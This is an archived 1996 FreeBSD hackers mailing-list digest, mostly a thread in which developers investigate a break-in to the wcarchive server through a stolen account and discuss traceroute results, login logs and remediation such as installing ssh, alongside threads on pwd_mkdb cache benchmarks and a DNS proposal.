Jun 23 18:32:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA10557 for hackers-outgoing; Sun, 23 Jun 1996 18:32:44 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA10536; Sun, 23 Jun 1996 18:32:39 -0700 (PDT) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.7.5/8.7.3) with ESMTP id SAA01869; Sun, 23 Jun 1996 18:32:29 -0700 (PDT) Message-Id: <199606240132.SAA01869@rah.star-gate.com> X-Mailer: exmh version 1.6.5 12/11/95 To: "Jordan K. Hubbard" cc: hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Sun, 23 Jun 1996 18:17:35 PDT." <8275.835579055@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 23 Jun 1996 18:32:25 -0700 From: Amancio Hasty Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Also since "you" were logged in , try to look in the logs for a a loggin session of a foreign host and I would report the incident to the FBI 8) >From The Desk Of "Jordan K. Hubbard" : > > Try to use ssh so that your password and session are encrypted . This > > will make further "crack" attempts a bit more difficult. > > Yeah, we didn't have ssh installed on this machine up to now. I'm fixing > that right now. :-) > > Jordan From owner-freebsd-hackers Sun Jun 23 18:37:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA10894 for hackers-outgoing; Sun, 23 Jun 1996 18:37:30 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA10875; Sun, 23 Jun 1996 18:37:26 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id SAA08357; Sun, 23 Jun 1996 18:37:01 -0700 (PDT) To: jaeger cc: hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Sun, 23 Jun 1996 21:08:46 EDT." Date: Sun, 23 Jun 1996 18:37:01 -0700 Message-ID: <8355.835580221@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > jkh p2 a235.pu.ru Sun04PM - -bash (bash) > > > Sure gets the heart pounding doesn't it? It doesn't give one warm fuzzy feelings, no! :-) > Contact the Russians on a secure channel (woo, sounds like a spy > novel). Sweep the machine for suid shells and changed binaries. You might Well, that's why I cc'd Andrey - he's far more "plugged in" to that whole community than I am. A break-in to wcarchive effects us all since he could have easily wiped out or compromised our FreeBSD distributions there (they're writable by me, naturally). I'm running checks now. I'm sorry to throw fear, uncertainty and doubt into everyone by noting this possibility, but it'd be remiss of me if I didn't. I'll do my best to verify the checksums (and checksum files) we have, rebuilding anything which looks suspect. David will also do a more complete security audit of this machine later on tonite. > want to suspend some remote logins until you have this worked out. I'd like to, but there are too many people running here now and I don't want to bring all work to a grinding halt over this. I'll see what I can do. > The process accounting logs, if you run that, may be illuminating. Unfortunately we don't since wcarchive has so many processes running on it that we'd need an entire 4GB disk just for the logs. :-( > Check your history file (.bash_history in this case) and anything else he > may have left around (I'm somewhat unclear on whether your home directory > was actually removed). It was and he was smart enough to wipe both the .bash_history file and the shell history (I checked before jumping on him). > Even if you find no altered binaries or other evidence the intruder > had gained root access, I'd still fire up lsof and look for sniffers or > backdoor processes. Use tcp wrappers to deny access from *.ru or all but > selected hosts. I'll do what I can - running monitoring on this machine is problematic due to the load. There are 1250 ftp users logged in right now (he WOULD pick the day after a new version of Quake was released) and the list of open files numbers literally in the thousands. :-( > I'd say your chances of tracking this guy down are pretty slim > unless the Russian hosts weren't root compromised or they were running > enhanced logging or network monitors. I'm hoping that someone at pu.ru will help us out here. I don't think that they want the reputation this is going to garner for them. > Could this intrusion possibly have been a result of using cleartext > remote login sessions? I don't think so - I have a pretty secure path to wcarchive (the T1 at WC goes straight into the same service provider's backbone that wcarchive is on). Both David and I are somewhat worried by this compromise. Jordan From owner-freebsd-hackers Sun Jun 23 18:37:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA10959 for hackers-outgoing; Sun, 23 Jun 1996 18:37:49 -0700 (PDT) Received: from post.io.org (post.io.org [198.133.36.6]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA10948 for ; Sun, 23 Jun 1996 18:37:47 -0700 (PDT) Received: from zap.io.org (taob@zap.io.org [198.133.36.81]) by post.io.org (8.7.5/8.7.3) with SMTP id VAA05957; Sun, 23 Jun 1996 21:34:33 -0400 (EDT) Date: Sun, 23 Jun 1996 21:35:30 -0400 (EDT) From: Brian Tao To: Michael Hancock cc: hackers@freebsd.org Subject: Re: TCP Performance Tuning In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 22 Jun 1996, Michael Hancock wrote: > > http://www.psc.edu/networking/perf_tune.html Nice to see that they are up-to-date with their OS releases, including FreeBSD 2.1.5 and 2.2-CURRENT. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-hackers Sun Jun 23 18:41:01 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA11154 for hackers-outgoing; Sun, 23 Jun 1996 18:41:01 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA11129; Sun, 23 Jun 1996 18:40:53 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id SAA08380; Sun, 23 Jun 1996 18:40:26 -0700 (PDT) To: Amancio Hasty cc: hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Sun, 23 Jun 1996 18:32:25 PDT." <199606240132.SAA01869@rah.star-gate.com> Date: Sun, 23 Jun 1996 18:40:25 -0700 Message-ID: <8378.835580425@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Also since "you" were logged in , try to look in the logs for a > a loggin session of a foreign host and I would report the incident to the > FBI 8) All we have are the "last" logs, which show: jkh ttyp2 a235.pu.ru Sun Jun 23 16:50 - 17:18 (00:28) jkh ttyp3 a235.pu.ru Sun Jun 23 15:00 - 15:34 (00:33) If someone at the russian site could help correlate this time (PST) to the local time at wherever a235.ru.pu came in from, we could at least narrow down which user(s) it might have been. Also, I think that calling the FBI on this one is only likely to get me put on infinite hold when they hear that the perpetrator is in Russia. :-) Jordan From owner-freebsd-hackers Sun Jun 23 19:01:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA12340 for hackers-outgoing; Sun, 23 Jun 1996 19:01:37 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA12320; Sun, 23 Jun 1996 19:01:27 -0700 (PDT) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.7.5/8.7.3) with ESMTP id TAA02005; Sun, 23 Jun 1996 19:01:17 -0700 (PDT) Message-Id: <199606240201.TAA02005@rah.star-gate.com> X-Mailer: exmh version 1.6.5 12/11/95 To: "Jordan K. Hubbard" cc: hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Sun, 23 Jun 1996 18:40:25 PDT." <8378.835580425@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 23 Jun 1996 19:01:17 -0700 From: Amancio Hasty Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I would report it nevertheless and who knows they may even have e-mail... Also, I am a bit concerned that he tried to erase your home directory because he/she probably had something in that directory. Also if you report it , it may help you in the case that the person was trying to do something really nasty. BTW: It could be a woman in that case it may be difficult to get her balls 8) Amancio >From The Desk Of "Jordan K. Hubbard" : > > Also since "you" were logged in , try to look in the logs for a > > a loggin session of a foreign host and I would report the incident to the > > FBI 8) > > All we have are the "last" logs, which show: > > jkh ttyp2 a235.pu.ru Sun Jun 23 16:50 - 17:18 (00:28) > jkh ttyp3 a235.pu.ru Sun Jun 23 15:00 - 15:34 (00:33) > > If someone at the russian site could help correlate this time (PST) to > the local time at wherever a235.ru.pu came in from, we could at least > narrow down which user(s) it might have been. > > Also, I think that calling the FBI on this one is only likely to get > me put on infinite hold when they hear that the perpetrator is in > Russia. :-) > > Jordan From owner-freebsd-hackers Sun Jun 23 19:02:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA12438 for hackers-outgoing; Sun, 23 Jun 1996 19:02:26 -0700 (PDT) Received: from parkplace.cet.co.jp (parkplace.cet.co.jp [202.32.64.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA12431 for ; Sun, 23 Jun 1996 19:02:23 -0700 (PDT) Received: from localhost (michaelh@localhost) by parkplace.cet.co.jp (8.7.5/CET-v2.1) with SMTP id LAA02491; Mon, 24 Jun 1996 11:02:03 +0900 (JST) Date: Mon, 24 Jun 1996 11:02:03 +0900 (JST) From: Michael Hancock To: Mattias Pantzare cc: denis , freebsd-hackers@FreeBSD.ORG Subject: Re: Dynamically Allocatable Name Service (DANS) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, Mattias Pantzare wrote: > > I'd like to hear how he plans to handle servicing dynamic updates and name > > requests with the performance required. BIND once initialized operates > > entirely in RAM and the service has high performance requirements that are > > hard to meet even with a static database. > > I think that you are missing the point. What he is doing is to store the > names that the nameserver provides to other servers in a database instead > of in a textfile. Not to do the name caching on disk. The whole binary > database can be cached in RAM. I understand what can be done. Rocket and bike analogies just makes it sound like name serving is a trivial exercise. mike hancock -- Speaking for myself. From owner-freebsd-hackers Sun Jun 23 19:25:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA13589 for hackers-outgoing; Sun, 23 Jun 1996 19:25:56 -0700 (PDT) Received: from post.io.org (post.io.org [198.133.36.6]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA13567; Sun, 23 Jun 1996 19:25:37 -0700 (PDT) Received: from zap.io.org (taob@zap.io.org [198.133.36.81]) by post.io.org (8.7.5/8.7.3) with SMTP id WAA06239; Sun, 23 Jun 1996 22:22:33 -0400 (EDT) Date: Sun, 23 Jun 1996 22:23:31 -0400 (EDT) From: Brian Tao Reply-To: Brian Tao To: FREEBSD-HACKERS-L cc: FREEBSD-ISP-L Subject: Increasing openinfo.cachesize in pwd_mkdb (was Re: Incremental [s]pwd.db updates?) In-Reply-To: <199606152001.WAA24925@gvr.win.tue.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I did some simple benchmarking with a modified pwd_mkdb that allows me to specify the size of the cache. It defaults to 2MB, which is less than optimal if you have more than a few thousand users in /etc/master.passwd (like many ISP's). Server is a lightly loaded P133 with 128MB doing primary DNS and a bit of SMTP/POP3 service. There is typically 80 to 90MB free after the OS, named and various user processes have taken their chunk. The first test is with an actual 14241-line passwd file generated from one of our customer databases (we have a system that creates master.passwd and RADIUS files from a billing database). # time /root/bin/pwd_mkdb -p -d . master.passwd 9.024u 15.201s 4:26.16 9.0% 10+2799k 0+17624io 0pf+0w # time /root/bin/pwd_mkdb -c 3072 -p -d . master.passwd 7.724u 8.949s 2:36.64 10.6% 10+4022k 3+10081io 0pf+0w # time /root/bin/pwd_mkdb -c 4096 -p -d . master.passwd 6.957u 3.041s 0:58.69 17.0% 10+4767k 3+3565io 0pf+0w # time /root/bin/pwd_mkdb -c 8192 -p -d . master.passwd 7.110u 1.645s 0:30.44 28.7% 10+7600k 3+1941io 0pf+0w # ls -l total 14600 -rw------- 1 root wheel 1192261 Jun 23 21:50 master.passwd -rw-r--r-- 1 root wheel 950366 Jun 23 22:04 passwd -rw-r--r-- 1 root wheel 9220096 Jun 23 22:04 pwd.db -rw------- 1 root wheel 9666560 Jun 23 22:05 spwd.db The second test is with an artificially generated 150,000-line passwd file, and allocating 64MB of core to pwd_mkdb: # /root/bin/pwd_mkdb -c 65536 -p -d . big-pass 83.962u 16.826s 4:39.83 36.0% 10+60692k 1753+22470io 0pf+0w # ls -l total 134576 -rw------- 1 root wheel 9300000 Jun 23 21:06 master.passwd -rw-r--r-- 1 root wheel 6750000 Jun 23 22:12 passwd -rw-r--r-- 1 root wheel 70475776 Jun 23 22:12 pwd.db -rw------- 1 root wheel 73740288 Jun 23 22:14 spwd.db With enough memory, I can now rehash a passwd file over 10 times the size in roughly the same amount of time. The trick is to know how much RAM you can dedicate to one process, without causing it to hit swap. The diffs to support the -c switch are quite simple, if anyone is interested in them (maybe even committing them?). I think it would be a perfect compliment to gvr's enhancements to passwd/chpass/chfn/chsh. I still need to edit the man page and patch vipw to pass a cachesize parameter to pwd_mkdb. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-hackers Sun Jun 23 19:32:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA14418 for hackers-outgoing; Sun, 23 Jun 1996 19:32:55 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA14410 for ; Sun, 23 Jun 1996 19:32:52 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id TAA08711; Sun, 23 Jun 1996 19:31:50 -0700 (PDT) To: Michael Hancock cc: Mattias Pantzare , denis , freebsd-hackers@FreeBSD.org Subject: Re: Dynamically Allocatable Name Service (DANS) In-reply-to: Your message of "Mon, 24 Jun 1996 11:02:03 +0900." Date: Sun, 23 Jun 1996 19:31:50 -0700 Message-ID: <8709.835583510@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > I understand what can be done. Rocket and bike analogies just makes it > sound like name serving is a trivial exercise. It's also already in the works - he needs to read the RFCs (I sent this on to Paul Vixie who was quite amused). Jordan From owner-freebsd-hackers Sun Jun 23 19:39:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA14906 for hackers-outgoing; Sun, 23 Jun 1996 19:39:18 -0700 (PDT) Received: from dhp.com (dhp.com [199.245.105.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA14895; Sun, 23 Jun 1996 19:39:10 -0700 (PDT) Received: (from jaeger@localhost) by dhp.com (8.7.5/8.6.12) id WAA09944; Sun, 23 Jun 1996 22:39:07 -0400 Date: Sun, 23 Jun 1996 22:39:07 -0400 (EDT) From: jaeger To: "Jordan K. Hubbard" cc: Amancio Hasty , hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <8378.835580425@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, Jordan K. Hubbard wrote: > All we have are the "last" logs, which show: > > jkh ttyp2 a235.pu.ru Sun Jun 23 16:50 - 17:18 (00:28) > jkh ttyp3 a235.pu.ru Sun Jun 23 15:00 - 15:34 (00:33) > > If someone at the russian site could help correlate this time (PST) to > the local time at wherever a235.ru.pu came in from, we could at least > narrow down which user(s) it might have been. > This appears to be a Dialup IP connection. If the machine logging the terminal server (or other dialip access device) wasn't root compromised, we should see some useful logs. Probably a stolen account. Because of the presence of the lastlog records and the generally good security of FreeBSD, I also suspect there was no root compromise on wcarchive. I'm concerned about the possibility of a DNS server compromise, given the unusual traceroute results of the intruder's IP. On another pessimistic note, I believe most of the telco switches in Russia are still crossbars, which could make any attempt to trace the intruder through the phone system fruitless. :< > > Jordan > -jaeger From owner-freebsd-hackers Sun Jun 23 20:35:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA17711 for hackers-outgoing; Sun, 23 Jun 1996 20:35:48 -0700 (PDT) Received: from ns2.harborcom.net (root@ns2.harborcom.net [206.158.4.4]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA17690; Sun, 23 Jun 1996 20:35:35 -0700 (PDT) Received: from swoosh.dunn.org (swoosh.dunn.org [206.158.7.243]) by ns2.harborcom.net (8.7.4/8.6.12) with SMTP id XAA28034; Sun, 23 Jun 1996 23:35:28 -0400 (EDT) Message-Id: <199606240335.XAA28034@ns2.harborcom.net> Comments: Authenticated sender is From: "Bradley Dunn" Organization: Harbor Communications To: jaeger Date: Sun, 23 Jun 1996 23:30:58 -0500 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: I need help on this one - please help me track this guy Reply-to: dunn@harborcom.net CC: hackers@FreeBSD.org, security@FreeBSD.org Priority: normal X-mailer: Pegasus Mail for Win32 (v2.31) Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk The traceroute results do not indicate any DNS tampering. Traceroute looks up 127.0.0.1 using gethostbyaddr(), which then uses whatever address-to-name translation system you have running (eg /etc/hosts,NIS,DNS). I would certainly hope your translation sytem reports localhost for 127.0.0.1. :) It does indicate that there is something over there that reports its IP address as 127.0.0.1. Perhaps it is some funky terminal server hardware. Maybe it returns 127.0.0.1 when it knows that it is responsible for the particular IP being traced, but that IP isn't currently assigned? To test this, I tried tracing to some of the other hosts that would be in this pool. For example, a230.pu.ru, a231.pu.ru, etc... Some of the other ones returned this as well. So my guess would be it was a dialup dynamic IP account, and the terminal server sends the packets to its loopback interface if the IP isn't assigned. On 23 Jun 96 at 22:39, jaeger wrote: > Because of the presence of the lastlog records and the generally > good security of FreeBSD, I also suspect there was no root > compromise on wcarchive. I'm concerned about the possibility of a > DNS server compromise, given the unusual traceroute results of the > intruder's IP. Bradley Dunn From owner-freebsd-hackers Sun Jun 23 20:44:32 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA18308 for hackers-outgoing; Sun, 23 Jun 1996 20:44:32 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA18277; Sun, 23 Jun 1996 20:44:08 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id NAA19897; Mon, 24 Jun 1996 13:48:41 +0930 From: Michael Smith Message-Id: <199606240418.NAA19897@genesis.atrad.adelaide.edu.au> Subject: Re: I need help on this one - please help me track this guy down! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 24 Jun 1996 13:48:40 +0930 (CST) Cc: jaeger@com, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org In-Reply-To: <8355.835580221@time.cdrom.com> from "Jordan K. Hubbard" at Jun 23, 96 06:37:01 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard stands accused of saying: > > > Could this intrusion possibly have been a result of using cleartext > > remote login sessions? > > I don't think so - I have a pretty secure path to wcarchive (the T1 at > WC goes straight into the same service provider's backbone that > wcarchive is on). Both David and I are somewhat worried by this > compromise. You said you were on the road a little while back; how often do you change your passwords? > Jordan -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Jun 23 20:47:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA18473 for hackers-outgoing; Sun, 23 Jun 1996 20:47:13 -0700 (PDT) Received: from sequent.kiae.su (sequent.kiae.su [193.125.152.6]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id UAA18432; Sun, 23 Jun 1996 20:46:54 -0700 (PDT) Received: by sequent.kiae.su id AA26559 (5.65.kiae-2 ); Mon, 24 Jun 1996 07:40:24 +0400 Received: by sequent.KIAE.su (UUMAIL/2.0); Mon, 24 Jun 96 07:40:24 +0400 Received: (from ache@localhost) by nagual.ru (8.7.5/8.7.3) id HAA00490; Mon, 24 Jun 1996 07:35:40 +0400 (MSD) Message-Id: <199606240335.HAA00490@nagual.ru> Subject: Re: I need help on this one - please help me track this guy down! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 24 Jun 1996 07:35:39 +0400 (MSD) Cc: hasty@rah.star-gate.com, hackers@FreeBSD.org, security@FreeBSD.org In-Reply-To: <8378.835580425@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 23, 96 06:40:25 pm" From: =?KOI8-R?Q?=E1=CE=C4=D2=C5=CA_=FE=C5=D2=CE=CF=D7?= (Andrey A. Chernov) X-Class: Fast X-Mailer: ELM [version 2.4ME+ PL22 (25)] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Also since "you" were logged in , try to look in the logs for a > > a loggin session of a foreign host and I would report the incident to the > > FBI 8) > > All we have are the "last" logs, which show: > > jkh ttyp2 a235.pu.ru Sun Jun 23 16:50 - 17:18 (00:28) > jkh ttyp3 a235.pu.ru Sun Jun 23 15:00 - 15:34 (00:33) > > If someone at the russian site could help correlate this time (PST) to > the local time at wherever a235.ru.pu came in from, we could at least > narrow down which user(s) it might have been. This address is SLIP line somewhere in StPetersburg's University. Local StPetersbug time is equal to Moscow time: GMT+4 now. You can search/ask domain owner somewhere at http://www.ripn.net/nic/NICHomePage.html -- Andrey A. Chernov http://www.nagual.ru/~ache/ From owner-freebsd-hackers Sun Jun 23 20:47:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA18556 for hackers-outgoing; Sun, 23 Jun 1996 20:47:36 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA18497; Sun, 23 Jun 1996 20:47:21 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id UAA09125; Sun, 23 Jun 1996 20:46:39 -0700 (PDT) To: Michael Smith cc: hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 13:48:40 +0930." <199606240418.NAA19897@genesis.atrad.adelaide.edu.au> Date: Sun, 23 Jun 1996 20:46:38 -0700 Message-ID: <9123.835587998@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [jaeger@com removed from cc - he needs to fix his headers :-)] > Jordan K. Hubbard stands accused of saying: > > You said you were on the road a little while back; how often do you change > your passwords? Clearly not often enough, I guess. I've changed it everywhere and installed ssh on wcarchive. Ah well, I guess we all need one good security scare a year to keep us aware of the fact that the Internet is all one big bad neighborhood after dark now... :-) Jordan From owner-freebsd-hackers Sun Jun 23 20:50:45 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA18787 for hackers-outgoing; Sun, 23 Jun 1996 20:50:45 -0700 (PDT) Received: from dhp.com (dhp.com [199.245.105.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA18780; Sun, 23 Jun 1996 20:50:32 -0700 (PDT) Received: (from jaeger@localhost) by dhp.com (8.7.5/8.6.12) id XAA14147; Sun, 23 Jun 1996 23:50:14 -0400 Date: Sun, 23 Jun 1996 23:50:09 -0400 (EDT) From: jaeger To: Bradley Dunn cc: hackers@FreeBSD.org, security@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy In-Reply-To: <199606240335.XAA28034@ns2.harborcom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, Bradley Dunn wrote: > The traceroute results do not indicate any DNS tampering. Traceroute > looks up 127.0.0.1 using gethostbyaddr(), which then uses whatever > address-to-name translation system you have running > (eg /etc/hosts,NIS,DNS). I would certainly hope your translation > sytem reports localhost for 127.0.0.1. :) Whoops! I think I should cut back on the caffeine...;> > > It does indicate that there is something over there that reports its > IP address as 127.0.0.1. Perhaps it is some funky terminal server > hardware. Maybe it returns 127.0.0.1 when it knows that it is > responsible for the particular IP being traced, but that IP isn't > currently assigned? > > To test this, I tried tracing to some of the other hosts that would > be in this pool. For example, a230.pu.ru, a231.pu.ru, etc... Some > of the other ones returned this as well. So my guess would be it > was a dialup dynamic IP account, and the terminal server sends > the packets to its loopback interface if the IP isn't assigned. > I've never encountered this behavior before. Does anyone know what make or model of hardware this might be? > Bradley Dunn > -jaeger From owner-freebsd-hackers Sun Jun 23 20:52:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA18909 for hackers-outgoing; Sun, 23 Jun 1996 20:52:06 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA18890 for ; Sun, 23 Jun 1996 20:51:54 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id NAA19963; Mon, 24 Jun 1996 13:56:33 +0930 From: Michael Smith Message-Id: <199606240426.NAA19963@genesis.atrad.adelaide.edu.au> Subject: Re: Dynamically Allocatable Name Service (DANS) To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 24 Jun 1996 13:56:32 +0930 (CST) Cc: hackers@freebsd.org In-Reply-To: <8709.835583510@time.cdrom.com> from "Jordan K. Hubbard" at Jun 23, 96 07:31:50 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard stands accused of saying: > > > I understand what can be done. Rocket and bike analogies just makes it > > sound like name serving is a trivial exercise. > > It's also already in the works - he needs to read the RFCs (I sent > this on to Paul Vixie who was quite amused). I'm actually amazed that anyone actually took it seriously. It seemed to me from a cursory scan of what he had to say that almost no serious thought about the size of the database, or the enormous amount of traffic that it would create had taken place. And then there's the _very_ revealing cc: list in the message header 8) > Jordan -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Jun 23 21:12:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA19959 for hackers-outgoing; Sun, 23 Jun 1996 21:12:23 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id VAA19939; Sun, 23 Jun 1996 21:12:13 -0700 (PDT) Received: by agora.rdrop.com (Smail3.1.29.1 #17) id m0uY30J-0008y1C; Sun, 23 Jun 96 21:11 PDT Message-Id: From: batie@agora.rdrop.com (Alan Batie) Subject: Re: I need help on this one - please help me track this guy To: dunn@harborcom.net Date: Sun, 23 Jun 1996 21:11:59 -0700 (PDT) Cc: jaeger@com, hackers@FreeBSD.org, security@FreeBSD.org In-Reply-To: <199606240335.XAA28034@ns2.harborcom.net> from "Bradley Dunn" at Jun 23, 96 11:30:58 pm X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > To: jaeger I can't believe this is valid, so he's probably not going to get a copy of this... > It does indicate that there is something over there that reports its > IP address as 127.0.0.1. Perhaps it is some funky terminal server > hardware. 11 slip-0.pu.ru (193.124.85.1) 581.747 ms 585.953 ms 509.617 ms 12 